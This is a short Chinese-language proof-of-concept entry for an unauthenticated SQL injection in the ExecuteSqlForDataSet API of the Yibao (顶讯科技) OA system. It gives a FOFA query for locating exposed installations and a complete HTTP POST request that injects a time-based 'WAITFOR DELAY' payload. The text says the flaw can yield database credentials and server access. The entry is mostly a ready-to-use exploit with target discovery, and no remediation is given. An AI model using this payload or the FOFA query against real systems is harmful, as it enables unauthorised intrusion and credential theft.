

# Y6-6易宝-OA-SQL

## 漏洞描述:

易宝OA ExecuteSqlForDataSet接口处存在SQL注入漏洞, 未经身份认证的攻击者可以通过此漏洞获取数据库敏感信息, 用户名密码等凭据, 进一步利用可获取服务器权限。

## 网站图片:



## 网络测绘:

### fofa语法:

FOFA: product="顶讯科技-易宝OA系统"

## 漏洞复现:

### payload:

```
POST /api/system/ExecuteSqlForDataSet HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36

token=zxh&sql=;WAITFOR DELAY '0:0:5'--&strParameters
```

### 效果图:

延时5秒

